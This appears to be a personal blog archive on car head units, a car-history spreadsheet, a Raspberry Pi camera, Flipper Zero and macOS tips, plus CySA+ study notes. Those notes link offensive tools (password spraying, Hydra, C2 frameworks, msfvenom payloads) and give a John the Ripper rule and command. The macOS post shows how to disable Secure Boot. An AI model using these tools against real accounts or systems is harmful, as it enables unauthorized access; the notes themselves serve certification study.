Wrightrocket

XTRONS headunit running TorquePro

2025-02-25T22:22:00.000-08:00

How to get Torque Pro to work on XTRONS Android Auto car entertainment unit.

First install Torque Pro on your phone.

I'm not sure if you have to, but you should to support it!

Find the App!

From Android Auto, go to Home.

Navigate to the Apps, and start the package installer.

Use installer to install included Torque package.

Navigate home and then Apps to find it.

Additional steps that may be needed to follow...

Have fun like creating the custom gauge screen like above!

40 Years of My Cars Summarized in Pivot Tables and Charts

2024-10-12T01:31:00.000-07:00

40 Years of My Cars

Why do this?

I started compiling a list of my cars, and I was curious what insights I might have with a statistical analysis of it. When I was nearing completion, having learned what I had wanted, I thought there might be a higher use of this. I think it is a good example of using a free compatible spreadsheet, LibreOffice Calc, doing analysis using pivot tables and charts.

When did this happen?

This happened right after I said "good-bye" to my Mercedes E320. I really wanted to keep it, but we were driving it so infrequently that it was costing us more to have insurance and registration for it, then was worth it. Not to mention it had started to look terrible, and it used lots of gas.

To get my mind off thinking only about that car, and how I was going to miss fulfilling my dream of rebuilding that car like new, I made myself try to remember all the cars that I had before that car.

What cars?

Here's the initial list of the cars in natural order, or about in the order that I acquired them starting in 1984 and ending in December 2023.

Make Model Color Origin

Chevy Vega Brown US

Chevy Vega White US

Audi 4000 Red DE

Toyota Camry Brown JP

VW Jetta Blue DE

Ford Ranger Red US

Ford Focus Green US

Ford Mustang White US

Honda Accord Red JP

VW Jetta Gray DE

Chevy Impala Tan US

Ford Explorer Green US

VW Jetta Green DE

Nissan Sentra Tan JP

MINI Cooper Silver DE

MINI Cooper Blue DE

Mercedes E320 Red DE

Audi A3 Gray DE

What categories?

Note: In reading the various pie charts that are presented, it is helpful to note that the legend is in order starting at the top of the pie and moving counter-clockwise around the pie.

By Make

By Model

By Color

By Origin

Conclusions

By Rank

I'm naturally partial to my most recent car. You can view the details of this Audi A3 Sportback in my other post:

These rankings are subjective. Low ranked cars had many mechanical problems or I had bad experiences with them. New cars, the truck, and reliable, fun cars ranked higher.

Source Code

I'm making the "CarsOwnedByMeCharted.ods" LibreOffice Calc spreadsheet file available using this folder share:

My Dropbox LibreOffice Share

Reflections

By using data that was meaningful to me, I found that exploring the use of Pivot Tables and Charts to be interesting. It shows that I don't really care much about color, although when I really had a choice when buying the car new, I choose blue for one of my MINI Coopers and for one of my Jettas.

Although I really liked my Honda Accord, I really disliked my Toyota Camry. While I admire the Japanese cars for their longevity, I clearly prefer either German or American made cars. Both of the cars that I bought new, I chose German-made cars, and DE (Germany) was also my most favored origin. There may be some genetic basis for this, as my mom was born in Berlin, but I really love the feel of road when I'm behind the wheel of an Audi, Mercedes, MINI or Volkswagen.

One outlying piece of data that could be excluded like I did for a Dodge-based RV I briefly owned and only drove a few times was the Ford Ranger truck that I owned. I loved that little truck with an extended cab! I loved the utility, economy, and reliability of that little four-cylinder engine.

While I definitely want that combination of desirable features in a vehicle, I still enjoy driving fast around curves and the thrill of rapid acceleration. I guess that's why my favorite style for a vehicle is a hatchback or as Audi calls it, a Fastback design. By being able to put the back seat down, and open the "trunk", the rear hatch style can also provide quite a bit of utility.

Our family's next vehicle may be another truck. My son should soon get his driver's license (I pray). For my son's first vehicle, I'd rather he get a truck, and he wants one. I think it would be good for him to have a vehicle that doesn't go too fast, or take curves fast too easily, so that he would develop an understanding and a patience for those who might be driving a truck, especially one hauling a load.

Python on the Raspberry Pi: Camera V2 NoIR

2024-08-26T17:43:00.000-07:00

Python Modules
picamera
Python Classes
PiCamera

#/usr/bin/env python3

from picamera import PiCamera
from time import sleep

camera = PiCamera()

camera.start_preview()
camera.start_recording('/home/pi/video.h264')
sleep(10)
camera.stop_recording()
camera.stop_preview()

Simple Working Camera

Basic Video

Finally, I achieved the final level 0xD on TryHackMe!

2024-08-16T15:54:00.000-07:00

Here's my profile: My TryHackMe Profile

CyberSecurity Vulnerability Management LifeCycle

2024-06-24T18:00:00.000-07:00

Baseline creation

Vulnerability assessment

Risk assessment

Remediation

Verification

Monitoring

Cybersecurity Incident Response Lifecycle

2024-06-24T17:59:00.001-07:00

Preparation

Coordination with government

Coordination with security professionals

Assessment of risk

Allocation of appropriate resoures

Training

Compliance reviews

Network and Host configuration reviews

Code and API reviews

Policies and Procedures

Training

Hardening and documentation of endpoints

Physical

Virtual

Hardening and documentation of networks

Physical

Virtual

Implementation of Firewall services

Implementation of Proxy services

Implementation of EDR/IPS/IDS on endpoints

Implementation of Single Pane of Glass

SIEM

Security Onion

Splunk

SOAR

Testing

Training

Tabletop excercises

Detection and Analysis - IR Team

Triage

Determine the what, when, where and how event took place

Playbooks

Roles

Processes

Procedures

Detailed for specific threats

Documentation

Incident checklist

Incident form

Escalation list

Who to contact based on severity

Data criticality and prioritization process:

Identifies the types of information (public and private) processed.

Specifies where the information is processed.

Identifies who has authorized access to the information.

Types of Data Classificaton

Personal identifiable information (PII)

Personal health information (PHI)

Sensitive personal information (SPI)

Individual financial information

Intellectual property

Corporate information

Incident Declaration and Escalation

Communication Plan

Stakeholder Management

Network information capture

tcpdump

wireshark

nmap

PCAP files

IPS/IDS

SIEM

SOAR

Endpoint information capture

SIEM

Windows

msinfo32.exe

ipconfig /all

netstat -a

net

tasklist

Task Manager

Event Viewer

top

Active monitoring and alerts

EDR/XDR

IDS

IPS

SIEM

SOAR

Threat hunting

Tuned alerts

Detect suspicious network or endpoint a activity

Analyze activity to determine potential impact and eradication

Staying informed about emerging threats

Notifying impacted stakeholders '

Notifying appropriate government agencies

Containment - Forensic Team/Mediation Team

Affected Endpoint activity forensic capture

Order of volatility

FTK

Automation of playbooks

Block activity on network or host

Minimize impact on normal activity

Eradication and Recovery - Mediation Team

Complete removal of problems

Harden endpoints to prevent problem

Restore normal operations

Post Incident Activities

Document and share incident details

Document and share recovery details

Review lessons-learned

Update implementations, policies and procedures

Training

Cybersecurity Sites and Software

2024-06-24T17:59:00.000-07:00

An unfinished list of websites and software to know for CyberSecurity Analyst CySA+

Sites to Know

AT&T Alien Labs (Level Blue) OpenThreat Exchange: InfraGard

InfraGard

https://www.infragard.org

InfraGard is a partnership between the Federal Bureau of Investigation (FBI) and members of the private sector for the protection of U.S. Critical

Center for Internet Security: https://www.cisecurity.org/cis-benchmarks

Benchmarks are recommended secure configurations for operating systems and services.

Cybersecurity and Infrastructure Security Agency: https://www.cisa.gov/

United States lead agency in Cybersecurity: https://www.cisa.gov/resources-tools/all-resources-tools

Common Vulnerabilities and Exposures: https://www.cve.org/

Identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

Demarcian: https://dmarcian.com/

Learn about mail spoofing techniques using DKIM, SPF and DMARC.

ELK

Greylog

FireEye: https://fireeye.dev/docs/about/fireeye/

"FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent, and respond to cyber-attacks."

InfraGard: https://www.infragard.org

InfraGard is a partnership between the Federal Bureau of Investigation (FBI) and members of the private sector for the protection of U.S. Critical Infrastructure

Mitre: https://www.mitre.org/

Globally-accessible knowledge base of adversary tactics and techniques based on real-world observations best known for https://attack.mitre.org/.

National Institute of Standards and Technology: https://www.nist.gov/

Establishes standards for security.

https://toolcatalog.nist.gov/taxonomy/

SpeedGuide: https://www.speedguide.net/

Internet connections, network security, wireless and system performance and a guide to known exploits on vulnerable ports (https://www.speedguide.net/ports_sg.php)

Virus Total: https://www.virustotal.com/gui/home/upload

Analyze suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community.

WikiPedia: https://en.wikipedia.org/wiki/Transmission_Control_Protocol

Know the TCP Flags and Protocol generally

Flags (8 bits)

Contains 8 1-bit flags (control bits) as follows:

CWR (1 bit): Congestion window reduced (CWR) flag is set by the sending host to indicate that it received a TCP segment with the ECE flag set and had responded in congestion control mechanism.[21][a]

ECE (1 bit): ECN-Echo has a dual role, depending on the value of the SYN flag. It indicates:

If the SYN flag is set (1), the TCP peer is ECN capable.[22]

If the SYN flag is unset (0), a packet with the Congestion Experienced flag set (ECN=11) in its IP header was received during normal transmission.[a] This serves as an indication of network congestion (or impending congestion) to the TCP sender.[23]

URG (1 bit): Indicates that the Urgent pointer field is significant[17]

ACK (1 bit): Indicates that the Acknowledgment field is significant.[17] All packets after the initial SYN packet sent by the client should have this flag set.[24]

PSH (1 bit): Push function. Asks to push the buffered data to the receiving application.

RST (1 bit): Reset the connection

SYN (1 bit): Synchronize sequence numbers. Only the first packet sent from each end should have this flag set. Some other flags and fields change meaning based on this flag, and some are only valid when it is set, and others when it is clear.

FIN (1 bit): Last packet from sender

Software

Burp Suite: https://portswigger.net/burp/communitydownload

Platform used to test web applications with manipulation and injection of requests and of responses

Colasoft: https://www.colasoft.com/

Colasoft Packet Builder enables creating custom network packets

Evil-wrm: https://www.hackingarticles.in/a-detailed-guide-on-evil-winrm/

Cyberchef: https://cyberchef.org/

A smorgasborg of tools for security professionals.

Netcat

powercat - https://github.com/besimorhino/powercat

cryptocat

Splunk

SIEM collection tool that's used to analyze large collections of data in different formats.

Snort

Intrusion detection system

Security Onion

Open-source intrusion detection system that also provides index, search, and analysis tools

Wazuh

Free and open source security platform that unifies XDR and SIEM protection for endpoints and cloud workloads

Msfvenom

https://web.archive.org/web/20220607215637/https://thedarksource.com/msfvenom-cheat-sheet-create-metasploit-payloads/

Password Cracking

https://default-password.info/

https://wiki.skullsecurity.org/index.php?title=Passwords

https://github.com/Mebus/cupp

John the Ripper

https://charlesreid1.com/wiki/John_the_Ripper/Password_Generation

https://www.openwall.com/john/doc/RULES.shtml

[List.Rules:THM]

Az"[0-9][0-9]" ^[?s]

word from file, then two digits, prefixed by a symbol

john --rule=THM --wordlist=dict.sample --stdout

Hashcat

https://www.4armed.com/blog/hashcat-crack-md5-hashes/

Attack Tools

Hydra

https://www.hackingarticles.in/a-detailed-guide-on-hydra/

Metasploit

ncrack

medusa

cewl
https://www.hackingarticles.in/a-detailed-guide-on-cewl/

crunch
https://www.hackercoolmagazine.com/crunch-wordlist-generator-complete-guide/
https://medium.com/@talhabaig007/crunch-tool-password-hacking-tool-list-generator-b2b95283b593

Password Spraying Tool Kit
https://github.com/byt3bl33d3r/SprayingToolkit

CyberSecurity Tools

Command and Control

Armitage - Java GUI for Metasploit

Metasploit - C2 exploits

Empire - Powershell tool with modules:

Starkiller - Frontend to Empire

https://github.com/cobbr/Covenant

https://github.com/BishopFox/sliver

https://howto.thec2matrix.com/

Web Server Scanners

https://www.zaproxy.org/download/ Zed Attack Proxy

ZAP is open source, free, cross-platform

Focused on Web Apps

https://portswigger.net/burp

Web vulnerabilities scanner

https://github.com/Arachni/arachni Arachni

Arachni is open source, free, Window and *nix

https://github.com/Tib3rius/nitko Nitko

Nitko is open source, free, Linux container-based

Cloud Scanners

https://github.com/prowler-cloud/prowler

Prowler is an Open Source Security tool for AWS, Azure, GCP and Kubernetes to do security assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more

https://github.com/nccgroup/ScoutSuite

Multi-Cloud Security Auditing Tool

OSINT

https://www.maltego.com/

Maltego is link analysis software used for open-source intelligence, forensics and other investigations

https://www.youtube.com/@EchosecNetSystems

Echosec is a tool that can be used to pull information from social media postings that were made using location services.

Digital Forensic Tools

IETF RFC 3227

Guidelines for Evidence Collection and Archiving

https://datatracker.ietf.org/doc/html/rfc3227

Interesting sites to know

RocketCyber: https://www.rocketcyber.com/managed-soc/

Cloud-based managed SOC company with Managed Detection Response (MDR) targeting small-medium businesses.

Cybereason: https://www.cybereason.com/

Provides a defensive platform to fight malware and ransomware.

Snyk: https://snyk.io/product/open-source-security-management/

Open Source Security Management | SCA Tool | Snyk

Software to use in lab

• Windows operating systems

- Commando VM

• Linux operating systems

- Kali

• Open-source UTM appliance

• Metasploitable

• SIEM

- Greylog

- ELK

- Splunk

• TCPDump

• Wireshark

• Vulnerability scanner (i.e., OpenVAS)

• Nessus

• Access to cloud instances

- Azure
- AWS
- GCP

Software Listed in CySA+ Objectives

- Web application scanners

o Burp Suite

o Zed Attack Proxy (ZAP)

o Arachni

o Nikto

- Vulnerability scanners

o Nessus

o OpenVAS

- Debuggers

o Immunity debugger

o GNU debugger (GDB)

- Multipurpose

o Nmap

o Metasploit framework (MSF)

o Recon-ng

- Cloud infrastructure assessment

tools

o Scout Suite

o Prowler

o Pacu

Key Concepts

• Cyber kill chains

• Diamond Model of Intrusion Analysis

• MITRE ATT&CK

• Open Source Security Testing Methodology Manual (OSS TMM)

• OWASP Testing Guide

Common Vulnerability Scoring System (CVSS) interpretation

• Industry frameworks

- Payment Card Industry Data

- Security Standard (PCI DSS)

- Center for Internet Security (CIS) benchmarks

- Open Web Application Security

- Project (OWASP)

- International Organization forStandardization (ISO) 27000 series

Diamond Model

adversary

infrastructure,

capability

victim

Security Onion Evaluation

2024-06-12T00:56:00.000-07:00

Security Onion

While prepping for CySA+, I worked with this open source SIEM in a simulated environment. I was intrigued and wanted to give it a try.

Tonight, I installed a Proxmox virtual machine to run the evaluation installation of Security Onion 2.4.7 from: https://securityonionsolutions.com/software. The download is nearly 12 Gb, which I downloaded to /var/lib/vz/templates/iso/ so that I could pick the ISO file to install a virtual machine.

Below is a capture of the Alerts view (selected on the left) and filtered results limited to entries with GPL. After creating a virtual machine, and setting up static configuration for two network interfaces, the install that takes place after the install of the ISO was able to to successfully install the EVAL 4.2. I was able to produce this sample view of threat data by running:

sudo ./salt/common/tools/sbin/so-test

Dashboard

Visual

Tablular

F0 - U2F

2024-02-19T03:18:00.000-08:00

The FlipperZero (F0) does offer an important feature which can enhance the owner's security. Instead of relying solely on a phone for a second factor of authentication, you can use the Universal Second Factor (U2F) implemented on the F0.

What is U2F?

https://en.wikipedia.org/wiki/Universal_2nd_Factor

Who Supports U2F?

Facebook, Google, YouTube, X, etc.

What Documentation is Provided?

https://docs.flipper.net/u2f

https://help.twitter.com/en/managing-your-account/two-factor-authentication

F0 - USB Mass Storage

2024-02-02T23:35:00.000-08:00

On Flipper

Start USB MassStorage App

To begin create a new image which is a copy of the data on your Flipper

Select the image

The image will be shared

On Linux

Open two terminal windows/tabs.

Leaving running the command dmesg --follow

Connect the Flipper Zero

Output similar to below should should be shown in your terminal running dmesg or type the dmesg command to compare. The highlighted line shows when the USB Mass Storage was enabled and detected on the Linux platform :

[ 3232.813608] usb 1-5: new full-speed USB device number 6 using xhci_hcd
[ 3233.197273] usb 1-5: New USB device found, idVendor=0483, idProduct=5720, bcdDevice= 1.00
[ 3233.197286] usb 1-5: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 3233.197292] usb 1-5: Product: P3nny
[ 3233.197297] usb 1-5: Manufacturer: Flipper Devices Inc.
[ 3233.197301] usb 1-5: SerialNumber: F0
[ 3233.725621] usb-storage 1-5:1.0: USB Mass Storage device detected
[ 3233.726113] scsi host9: usb-storage 1-5:1.0
[ 3233.726338] usbcore: registered new interface driver usb-storage
[ 3233.938632] usbcore: registered new interface driver uas
[ 3234.767996] scsi 9:0:0:0: Direct-Access     Flipper  Mass Storage     0001 PQ: 0 ANSI: 4
[ 3234.768830] sd 9:0:0:0: Attached scsi generic sg2 type 0
[ 3234.769407] sd 9:0:0:0: [sdc] 8192 512-byte logical blocks: (4.19 MB/4.00 MiB)
[ 3234.772387] sd 9:0:0:0: [sdc] Write Protect is off
[ 3234.772395] sd 9:0:0:0: [sdc] Mode Sense: 03 00 00 00
[ 3234.775384] sd 9:0:0:0: [sdc] No Caching mode page found
[ 3234.775392] sd 9:0:0:0: [sdc] Assuming drive cache: write through
[ 3234.821872] sd 9:0:0:0: [sdc] Attached SCSI removable disk

To transfer the file the following happened

keith@fedora:~$ ls -l /dev/sdc
brw-rw----. 1 root disk 8, 32 Jan 31 00:30 /dev/sdc
keith@fedora:~$ id
uid=1000(keith) gid=1000(keith) groups=1000(keith),10(wheel),18(dialout) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
keith@fedora:~$ sudo file /dev/sdc
/dev/sdc: block special (8/32)
keith@fedora:~$ sudo dd status=progress if=/dev/sdc of=F0.img
3916800 bytes (3.9 MB, 3.7 MiB) copied, 29 s, 136 kB/s
8192+0 records in
8192+0 records out
4194304 bytes (4.2 MB, 4.0 MiB) copied, 28.8849 s, 145 kB/s

F0 - Command Line Interface (CLI)

2024-02-02T23:17:00.000-08:00

https://docs.flipper.net/development/cli

https://lab.flipper.net/cli

minicom -s

Change Serial Port Settings

Set the device to /dev/ttyACM0

Set the speed to 203400

minicom connects to Flipper CLI

F0 - Updating Firmware

2024-02-02T23:11:00.000-08:00

The Site

https://flipperzero.one/

Meet Pidipen - Your new Pet Dolphin!

This will allow you to update the firmware on the device the easiest way from your computer.

https://flipperzero.one/update

or you can install on your mobile phone the Flipper app to connect to your device with Bluetooth that might have to be enabled.

qFlipper

git clone https://github.com/flipperdevices/qFlipper

Compiling the source code for qFlipper is very challenging because of QT, so I recommend downloading the qFlipper.AppImg, if you are using Linux, currently, buthte version number 1.3.3 is likely to change: https://update.flipperzero.one/builds/qFlipper/1.3.3/qFlipper-x86_64-1.3.3.AppImage

chmod u+x qFlipper*.AppImage

./qFlipper*.AppImage

With qFlipper, you can Update the installed firmware and even choose between released, release-candidate, and development branches. Those branches could be called stable, semi-stable, and unstable or works almost always, works most of the time, and might not work, respectively. Most of the time I think it means fewest features, more features and the most features. So, as you exhaust all the menu items of one release, you might try out another.

If you get really adventurous, then you might even try out unofficial firmware, which provide other features and interface. qFlipper will allow you to install firmware released from these alternative firmware developers from a compressed file, but beware there are some serious risks in doing so.

Some examples include:

https://github.com/UberGuidoZ/Flipper

https://github.com/DarkFlippers/unleashed-firmware

https://github.com/wrightrocket/Xtreme-Firmware

You could even fork the official GitHub flipperzero-firmware and create your own customized firmware.

https://github.com/flipperdevices/flipperzero-firmware

Details

I'm just starting to gather some details about the FlipperZero. To start with the microcontroller that is used in it is found here:

https://www.st.com/en/microcontrollers-microprocessors/stm32wb55rg.html

XTRONS Android Car Stereo Head Android 12 Octa Core 4Gb RAM + 64 GB ROM 8.8 Inch IPS Touch Screen

2024-02-02T01:04:00.000-08:00

https://youtu.be/8SBhFX0PcLY

This blog entry is based on my experience in January 2024, installing and using an XTRONS unit in my wife's 2012 Audi A3 we bought at the end of December 2023. She has since gifted it to me!

It was advertised on Amazon at the time for $329.89 with free delivery in less than a week. The unit was delivered in two days. It was described as:

XTRONS Car Stereo for Audi A3 S3 RS3, Android 12 Octa Core 4GB+64GB Car Radio, 8.8 Inch IPS Touch Screen GPS Navigation for Car Bluetooth Head Unit, Built-in DSP Car Play Android Auto Support 4G LTE

Aside from a few Audi models XTRONS claims to support with this unit, I know it's a perfect fit for mine (even though the picture on the home screen is the A3 sedan and not my A3 hatchback). They make head units for dozens of car makes including units with HVAC controls. They have overhead and head rest units and tons of accessories at reasonable prices for the quality. Check them out: https://xtrons.com/ or add to the make of your vehicle like https://xtrons.com/ford to see what they have for you.

I had tried a cheaper EKAT Android Auto (AA) that was so slow with only 2 GB RAM , and fit poorly into the console. The XTRONS units cost more, but they are worth it! This cheap unit would glitch several times a day, and I'd have to keeping turning connections in the car and my phone off and on again to get it to work at all. Update: A source I came across said, XTRONS units are made in China, but they are designed in the U.K.

They surely are much better than the stock AM/FM/XM CD stereo unit radio. The one that was in the Audi when we bought it a week before was in horrible cosmetic condition, although it worked fine.

XTRONS manual

https://xtrons.com/user-guides/TR100%20&%20TR704L.pdf

The XTRONS manual is great at telling you what you need to know! For example, if you don't connect the light blue wire to ground, 😉 I mean the hand brake circuit, then you won't be able to watch videos without the hand brake being set.

The manual provides clear instructions including graphics and was good enough to get the basic unit working. During installation the only issues I ran into were not having working video playback, or getting input from the backup camera, which I explain how to do that nugget below.

Some important nuggets that may or may not be in the manual, but I'll give them credit for at least giving the code for bluetooth (and maybe more) for XTRONS unit.

I have also found the code 8888 is useful if you go into Infotainment settings for Video for picture quality adjusts and About device for many other low-level settings.

One nugget I had to search for was a way to get the video input to work from a backup camera. When you put the car into reverse, hold press video input to access settings button and then the menu with the code 1111. You have to press into the menu to type the code! So, if you see "No Input" on your backup camera or other video input on screen, change input settings for video format and screen resolution using this hack!

This last one I haven't tried, but I think it came from the manual. Since I can watch YouTube and use Android Auto apps, in addition to the apps available outside, I haven't been too motivated, yet.

How do I mirror my phone to Xtrons?

To connect, just open the EasyConnection app on your Xtrons car stereo and on your smartphone simultaneously. Then, on your car stereo, choose how you'd like to connect your smartphone and voila! This works the same for music.

macOS Nuggets: Apps, Diagnostics, Keyboard Shortcuts, Optimization, and Maintenance

2024-01-28T15:14:00.000-08:00

macOS tidbits

Keyboard Shortcuts

https://support.apple.com/en-us/102650

Apple Hardware Diagnostic Mode

Power off Mac. Power on and hold D key

Follow the prompts and wait minutes for a report

Be patient because at first nothing seems to be happening

Apple Software Diagnostic

Launch Activity Monitor application.

View, Run System Diagnostics...

Wait until the first part of the process completes

Reboot and sign back and the second half will complete

The result will appear as a ".tar.gz" compressed inside

The files you can view when you open the archive will show details of various services

Apple Startup Security

Try this:

Hold cmd-R while booting and type your user password when prompted.
Open the "Startup Security Utility" from the Utilities menu.
Set Secure Boot to "No security" and Allowed Boot Media to "Allow booting from external or removable media".
Restart holding option and select USB drive.

Install HomeBrew

Run the script at https://brew.sh/

`Install Adrenaline`

Available in the App store

Prevents macOS from sleeping

Perform Maintenance & Optimization

Install CleanMyMac from https://macpaw.com/

Install OnyX from https://www.titanium-software.fr/en/onyx.html

For both apps to work you must approve of all access

Use System Preferences, Security and Privacy to enable Full Disk Access

Update .zprofile

Modify your PATH and create functions

   My customized .zprofile file that starts every time I open a new terminal.

eval "$(/usr/local/bin/brew shellenv)"

# Setting PATH for Python 3.12

# The original version is saved in .zprofile.pysave

# ADD A DIRECTORY BEFORE THE DEFAULT TO BE ABLE TO EXECUTE FILES THERE

PYTHONPATH="/Library/Frameworks/Python.framework/Versions/3.12/bin"

PATH=$PYTHONPATH:${PATH}

# ADD A DIRECTORY AFTER THE DEFAULT TO BE ABLE TO EXECUTE FILES THERE

PATH=$PATH:"$HOME/android-tools"

export PATH

# DEFINE FUNCTIONS TO GET STATS

stat-power() {

b=$(system_profiler SPPowerDataType)

typeset -i 10 amp

typeset -i 10 volt

amp=$(echo "$b" | grep 'Amperage (mA):' | cut -d ':' -f 2 | xargs)

volt=$(echo "$b" | grep 'Voltage (mV):' | cut -d ':' -f 2 | xargs)

echo $b $amp $volt

power=$(( $amp * $volt / 1000 ))

echo "$b" | grep --color=never -A 1 'Battery Information:'

echo "$b" | grep --color=never -A 1 'Amperage (mA)'

echo " Total Power (mW): $power"

echo ""

echo "$b" | grep --color=never -A 99 'AC Charger Information:'

}

stat-battery() {

ioreg -w 0 -f -r -c AppleSmartBattery

}

Create your own functions

Examples stat-power and stat-battery functions in .zprofile above

Commands to run in Terminal app:

The next two commands display charging status and battery status

system_profiler SPPowerDataType
ioreg -w 0 -f -r -c AppleSmartBattery

`Manage disks from the command line with` `diskutil`

wrightrocket@Macintosh ISOS % diskutil     
Disk Utility Tool
Utility to manage local disks and volumes
Most commands require an administrator or root user

WARNING: Most destructive operations are not prompted

Usage:  diskutil [quiet] <verb> <options>, where <verb> is as follows:

     list                 (List the partitions of a disk)
     info[rmation]        (Get information on a specific disk or partition)
     listFilesystems      (List file systems available for formatting)
     listClients          (List all current disk management clients)
     activity             (Continuous log of system-wide disk arbitration)

     u[n]mount            (Unmount a single volume)
     unmountDisk          (Unmount an entire disk (all volumes))
     eject                (Eject a disk)
     mount                (Mount a single volume)
     mountDisk            (Mount an entire disk (all mountable volumes))

  diskutil --help

     enableJournal        (Enable HFS+ journaling on a mounted HFS+ volume)
     disableJournal       (Disable HFS+ journaling on a mounted HFS+ volume)
     moveJournal          (Move the HFS+ journal onto another volume)
     enableOwnership      (Exact on-disk User/Group IDs on a mounted volume)
     disableOwnership     (Ignore on-disk User/Group IDs on a mounted volume)

     rename[Volume]       (Rename a volume)

     verifyVolume         (Verify the file system data structures of a volume)
     repairVolume         (Repair the file system data structures of a volume)
     verifyDisk           (Verify the components of a partition map of a disk)
     repairDisk           (Repair the components of a partition map of a disk)
     resetFusion          (Reset the components of a machine's Fusion Drive)

     eraseDisk            (Erase an existing disk, removing all volumes)
     eraseVolume          (Erase an existing volume)
     reformat             (Erase an existing volume with same name and type)
     eraseOptical         (Erase optical media (CD/RW, DVD/RW, etc.))
     zeroDisk             (Erase a disk, writing zeros to the media)
     randomDisk           (Erase a disk, writing random data to the media)
     secureErase          (Securely erase a disk or freespace on a volume)

     partitionDisk        ((re)Partition a disk, removing all volumes)
     addPartition         (Create a new partition to occupy free space)
     splitPartition       (Split an existing partition into two or more)
     mergePartitions      (Combine two or more existing partitions into one)
     resizeVolume         (Resize a volume, increasing or decreasing its size)

     appleRAID <verb>     (Perform additional verbs related to AppleRAID)
     coreStorage <verb>   (Perform additional verbs related to CoreStorage)
     apfs <verb>          (Perform additional verbs related to APFS)


View Network Configuration from the command line with ifconfig
    
wrightrocket@Macintosh ~ % ifconfig

lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
	options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
	inet 127.0.0.1 netmask 0xff000000 
	inet6 ::1 prefixlen 128 
	inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 
	inet 127.94.0.1 netmask 0xff000000 
	nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=400<CHANNEL_IO>
	ether ac:bc:32:c5:1f:f5 
	inet6 fe80::18b4:7bc6:60cc:a48c%en0 prefixlen 64 secured scopeid 0x4 
	inet 192.168.0.91 netmask 0xffffff00 broadcast 192.168.0.255
	inet6 2600:8801:8801:ae00:8c5:e8e0:2ddd:80aa prefixlen 64 autoconf secured 
	inet6 2600:8801:8801:ae00:e850:f24d:5e8e:111a prefixlen 64 autoconf temporary 
	inet6 2600:8801:8801:ae00::539b prefixlen 64 dynamic 
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
	status: active
en2: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
	options=460<TSO4,TSO6,CHANNEL_IO>
	ether 82:17:05:3e:c8:c1 
	media: autoselect <full-duplex>
	status: inactive
en1: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
	options=460<TSO4,TSO6,CHANNEL_IO>
	ether 82:17:05:3e:c8:c0 
	media: autoselect <full-duplex>
	status: inactive
bridge0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=63<RXCSUM,TXCSUM,TSO4,TSO6>
	ether 82:17:05:3e:c8:c0 
	Configuration:
		id 0:0:0:0:0:0 priority 0 hellotime 0 fwddelay 0
		maxage 0 holdcnt 0 proto stp maxaddr 100 timeout 1200
		root id 0:0:0:0:0:0 priority 0 ifcost 0 port 0
		ipfilter disabled flags 0x0
	member: en1 flags=3<LEARNING,DISCOVER>
	        ifmaxaddr 0 port 6 priority 0 path cost 0
	member: en2 flags=3<LEARNING,DISCOVER>
	        ifmaxaddr 0 port 5 priority 0 path cost 0
	nd6 options=201<PERFORMNUD,DAD>
	media: <unknown type>
	status: inactive
p2p0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 2304
	options=400<CHANNEL_IO>
	ether 0e:bc:32:c5:1f:f5 
	media: autoselect
	status: inactive
awdl0: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1484
	options=400<CHANNEL_IO>
	ether ae:c2:d3:a1:06:62 
	inet6 fe80::acc2:d3ff:fea1:662%awdl0 prefixlen 64 scopeid 0x9 
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
	status: active
llw0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=400<CHANNEL_IO>
	ether ae:c2:d3:a1:06:62 
	inet6 fe80::acc2:d3ff:fea1:662%llw0 prefixlen 64 scopeid 0xa 
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
	status: active
utun0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1380
	inet6 fe80::6ec9:637c:aa54:4590%utun0 prefixlen 64 scopeid 0xb 
	nd6 options=201<PERFORMNUD,DAD>
utun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 2000
	inet6 fe80::2e03:234c:8136:9458%utun1 prefixlen 64 scopeid 0xc 
	nd6 options=201<PERFORMNUD,DAD>
utun2: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1000
	inet6 fe80::ce81:b1c:bd2c:69e%utun2 prefixlen 64 scopeid 0xd 
	nd6 options=201<PERFORMNUD,DAD>
 
wrightrocket@Macintosh ~ % ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	options=400<CHANNEL_IO>
	ether ac:bc:32:c5:1f:f5 
	inet6 fe80::18b4:7bc6:60cc:a48c%en0 prefixlen 64 secured scopeid 0x4 
	inet 192.168.0.91 netmask 0xffffff00 broadcast 192.168.0.255
	inet6 2600:8801:8801:ae00:8c5:e8e0:2ddd:80aa prefixlen 64 autoconf secured 
	inet6 2600:8801:8801:ae00:e850:f24d:5e8e:111a prefixlen 64 autoconf temporary 
	inet6 2600:8801:8801:ae00::539b prefixlen 64 dynamic 
	nd6 options=201<PERFORMNUD,DAD>
	media: autoselect
